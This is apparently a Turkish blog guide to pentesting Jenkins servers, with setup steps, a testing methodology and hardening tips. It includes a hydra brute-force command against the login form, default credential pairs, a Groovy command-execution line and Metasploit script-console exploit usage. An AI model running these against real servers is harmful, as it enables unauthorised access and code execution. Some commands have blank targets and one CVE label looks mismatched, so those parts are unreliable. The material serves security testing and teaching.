Jenkins Pentesting (Penetrasyon Testi) Rehberi

Jenkins Pentesting (Penetrasyon Testi) Rehberi

Jenkins pentesting, Jenkins CI/CD sunucularının güvenlik açıklarını tespit etmek ve değerlendirmek için yapılan güvenlik test sürecidir. Jenkins yaygın kullanılan bir otomasyon sunucusu olduğu için siber saldırganların hedefi haline gelebilir. Pentesting ile bu sistemlerdeki zafiyetler proaktif olarak belirlenerek güvenlik ihlalleri önlenebilir. Temel Jenkins Pentesting adımları: 1. **Keşif (Reconnaissance)** - Jenkins versiyonunun tespiti - Açık portların taranması - Erişilebilir Jenkins arayüzlerinin tespiti 2. **Kimlik Doğrulama Testleri** - Varsayılan kullanıcı adı/şifre denemeleri - Brute force saldırıları - OAuth yapılandırma kontrolleri 3. **Yetkilendirme Testleri** - Kullanıcı izinlerinin kontrolü - Role-based access control (RBAC) testleri - Script yetkilendirme kontrolleri 4. **Plugin Güvenlik Kontrolleri** - Eski/güvensiz plugin tespiti - Plugin yapılandırma kontrolleri - Plugin güvenlik açıklarının araştırılması 5. **Jenkins Pipeline Güvenlik Testleri** - Groovy script güvenlik kontrolleri - Pipeline yapılandırma denetimi - Kod enjeksiyon olasılıklarının tespiti 6. **API Güvenlik Testleri** - REST API güvenlik kontrolleri - API token yönetimi - API erişim kontrolü 7. **Altyapı Güvenliği** - Container güvenliği (Docker kullanılıyorsa) - Network segmentasyon kontrolleri - Depolama güvenliği Önemli Güvenlik Riskleri: - Uzaktan kod çalıştırma (RCE) - Yetkisiz erişim - Hassas bilgi sızıntısı - Pipeline manipülasyonu - Kötü amaçlı plugin yüklemeleri Güvenlik Önerileri: 1. Güncel Jenkins versiyonu kullanma 2. Güçlü kimlik doğrulama 3. Düzenli güvenlik güncellemeleri 4. Plugin güvenlik denetimleri 5. Access control listelerinin düzenli gözden geçirilmesi 6. Güvenli pipeline yapılandırması 7. Network segmentasyonu 8. Düzenli güvenlik testleri ve denetimleri Bu tür testlerin etik kurallara ve yasal düzenlemelere uygun şekilde, gerekli izinler alınarak yapılması önemlidir.

Jenkins Kurulumu (Test Ortamı İçin)

Temel Kurulum Adımları

Java Kurulumu:

sudo apt update sudo apt install openjdk-11-jdk -y java -version

Jenkins Kurulumu:

wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add - sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list' sudo apt update sudo apt install jenkins -y
Jenkins Başlatma:
sudo systemctl start jenkins sudo systemctl enable jenkins sudo systemctl status jenkins
Firewall Ayarları:
sudo ufw allow 8080 sudo ufw enable
İlk Yapılandırma: tarayıcıda http://:8080 açın
sudo cat /var/lib/jenkins/secrets/initialAdminPassword

Kurulum sihirbazını takip ederek temel ayarları yapın

Jenkins Pentesting Araçları ve Kullanımı

Keşif Aşaması

Nmap ile Port Tarama:

nmap -sV -p 8080 

Jenkins Versiyon Tespiti:

curl -s http://:8080/ | grep "Jenkins"

Metasploit Modülleri:

use auxiliary/scanner/http/jenkins_enum set RHOSTS  set RPORT 8080 run

Kimlik Doğrulama Testleri

Brute Force Denemeleri:

hydra -L users.txt -P passwords.txt  http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

Varsayılan Kimlik Bilgileri Denemesi:

  • admin:admin

  • jenkins:jenkins

  • admin:password

Yetkilendirme Testleri

Yetki Kontrolleri:
# API üzerinden yetki kontrolü curl -u kullanici:sifre http://:8080/role-strategy/strategy/getRole?type=globalRoles

Plugin Güvenlik Kontrolleri

Eski Plugin Tespiti:

curl -s http://:8080/pluginManager/api/json?depth=1 | jq '.plugins | {shortName, version}'

Jenkins Script Console Testleri

Groovy Script Çalıştırma:
# Eğer yetkiniz varsa println "whoami".execute().text 

Güvenlik Açığı Örnekleri ve Exploitler

CVE-2018-1000861 (RCE):

msfconsole use exploit/linux/http/jenkins_script_console set RHOSTS  set RPORT 8080 set TARGETURI / set LHOST  exploit

CVE-2019-1003000 (Pipeline RCE):

# Örnek exploit scripti import requests target = "http://:8080" command = "whoami" # Exploit kodu buraya

Güvenli Yapılandırma Önerileri

Erişim Kontrolü:

# Jenkins yapılandırma dosyası sudo nano /var/lib/jenkins/config.xml
  • useSecurity etkinleştirin

  • authorizationStrategy ayarlarını kontrol edin

Plugin Yönetimi:
# Güvenli olmayan pluginleri kaldırma sudo java -jar jenkins-cli.jar -s http://localhost:8080/ -auth kullanici:sifre delete-plugin eskiPlugin
API Güvenliği:
# API token'larını yönetme sudo java -jar jenkins-cli.jar -s http://localhost:8080/ -auth kullanici:sifre list-api-tokens
Log Takibi:
# Jenkins loglarını izleme tail -f /var/log/jenkins/jenkins.log
 
Önceki Yazı
Python installation on Debian

Here’s the step-by-step guide for Python installation on Debian in both Englis...

Sonraki Yazı
Excel Sekme Birleştirici

Excel dosyalarındaki tüm sekmeleri tek bir Excel dosyasında birleştirmenize ...